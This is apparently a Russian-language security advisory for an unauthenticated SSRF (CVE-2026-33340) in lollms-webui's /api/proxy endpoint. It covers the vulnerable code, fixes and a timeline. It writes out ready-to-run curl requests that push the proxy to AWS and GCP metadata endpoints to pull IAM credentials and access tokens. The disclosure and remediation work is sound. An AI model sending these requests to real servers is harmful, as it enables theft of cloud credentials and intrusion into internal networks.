
CVE-2026-33340: Критический SSRF в lollms-webui /api/proxy - Неаутентифицированная подделка произвольных запросов (CVSS 9.1)
| Поле | Подробности |
|---|---|
| CVE ID | CVE-2026-33340 |
| Уязвимость | Подделка запроса на стороне сервера (SSRF) |
| Затронутый продукт | ParisNeo/lollms-webui (LoLLMs WEBUI) |
| Серьёзность | Критическая — CVSS 9.1 |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-918: Server-Side Request Forgery (SSRF) |
| Затронутый компонент | lollms_core/lollms/server/endpoints/lollms_apps.py |
| Уязвимая конечная точка | /api/proxy |
| Консультация (Advisory) | GHSA-mcwr-5469-pxj4 |
| NVD | Запись NVD |
| SentinelOne | Анализ SentinelOne |
| Обнаружено | Regaan R — ROT Independent Security Research Lab |
Критическая уязвимость типа «Подделка запроса на стороне сервера» (SSRF) была обнаружена в lollms-webui, веб-интерфейсе для Lord of Large Language and Multi modal Systems. Конечная точка @router.post("/api/proxy") позволяет неаутентифицированным атакующим принудить сервер к выполнению произвольных GET-запросов. Это может быть использовано для доступа к внутренним службам, сканирования локальных сетей или хищения конфиденциальных облачных метаданных, таких как токены IAM AWS/GCP.
ParisNeo/lollms-webui / ParisNeo/lollmslollms_core/lollms/server/endpoints/lollms_apps.py (строки 443-450)/api/proxyУязвимость существует, потому что функция proxy в lollms_apps.py не реализует аутентификацию или какую-либо проверку URL/домена. Она принимает от пользователя необработанную URL-строку и передаёт её напрямую асинхронному HTTP-клиенту.
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
try:
async with httpx.AsyncClient() as client:
# No check_access() call — unauthenticated
# No URL validation — arbitrary destinations
response = await client.get(request.url)
return {"content": response.text}
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))
check_access(lollmsElfServer, request.client_id) или любое промежуточное ПО аутентификации, что позволяет любому неаутентифицированному пользователю вызывать её.httpx.AsyncClient().get() без проверки адреса по белому списку или блокировки частных/внутренних IP-диапазонов.{"content": response.text}, обеспечивая полное хищение данных.echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888
curl -X POST http://localhost:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost:8888/secret.txt"}'
{"content": "INTERNAL_SECRET_DATA\n"}
Сервер получил файл из внутренней службы и вернул его содержимое атакующему.
# AWS IMDSv1 — Получение учётных данных IAM
curl -X POST http://<цель>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP — Получение токена доступа
curl -X POST http://<цель>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
Атакующий Сервер lollms-webui Внутренняя сеть
| | |
| POST /api/proxy | |
| {"url": "http://169.254..."} | |
|----------------------------------->| |
| | GET http://169.254.169.254/... |
| |------------------------------------->|
| | |
| | 200 OK (учётные данные IAM) |
| |<-------------------------------------|
| | |
| {"content": "<credentials>"} | |
|<-----------------------------------| |
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
check_access(lollmsElfServer, request.client_id) # Add this
# ...
from urllib.parse import urlparse
import ipaddress
BLOCKED_RANGES = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # Cloud metadata
]
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
hostname = parsed.hostname
if hostname in ("localhost", ""):
return False
try:
ip = ipaddress.ip_address(hostname)
return not any(ip in network for network in BLOCKED_RANGES)
except ValueError:
# Hostname is a domain — resolve and check
import socket
resolved = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(resolved)
return not any(ip in network for network in BLOCKED_RANGES)
ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]
def is_whitelisted(url: str) -> bool:
parsed = urlparse(url)
return parsed.hostname in ALLOWED_DOMAINS
На дату публикации исправленная версия lollms-webui уже была выпущена.
| Дата | Событие |
|---|---|
| 2026-03-07 | Уязвимость обнаружена и сообщена через GitHub Security Advisory |
| 2026-03-24 | CVE-2026-33340 опубликовано в NVD |
| 2026-03-25 | Запись в базе данных NVD обновлена |
| 2026-03-27 | SentinelOne публикует анализ уязвимости |
Regaan R (@regaan) Ведущий исследователь — ROT Independent Security Research Lab
Этот отчёт публикуется только в образовательных и защитных целях. Уязвимость была сообщена через ответственное раскрытие через GitHub Security Advisories. Всегда получайте соответствующее разрешение перед тестированием на уязвимости.
Этот отчёт выпущен под лицензией CC BY 4.0.
| Сценарий | Описание |
|---|
| Кража облачных учётных данных | Атакующие в облачных платформах (AWS/GCP/Azure) могут получить доступ к http://169.254.169.254/ для извлечения метаданных экземпляра, учётных данных IAM и токенов доступа — что приводит к полной компрометации облачной учётной записи. |
| Перемещение во внутренней сети | Атакующие могут зондировать внутренние базы данных, API, панели администрирования и интерфейсы управления, не доступные из публичного интернета. |
| Доступ к службам localhost | Атакующие могут получить доступ к службам, привязанным к localhost (Redis, Elasticsearch, Docker API, консоли баз данных), которые неявно доверяют локальному трафику. |
| Сканирование внутренних портов | SSRF может использоваться для перебора открытых портов и запущенных служб во внутренней сети путём наблюдения за временем ответа и сообщениями об ошибках. |
| Хищение данных | Любые данные, доступные по HTTP в пределах сети сервера, могут быть прочитаны и возвращены атакующему. |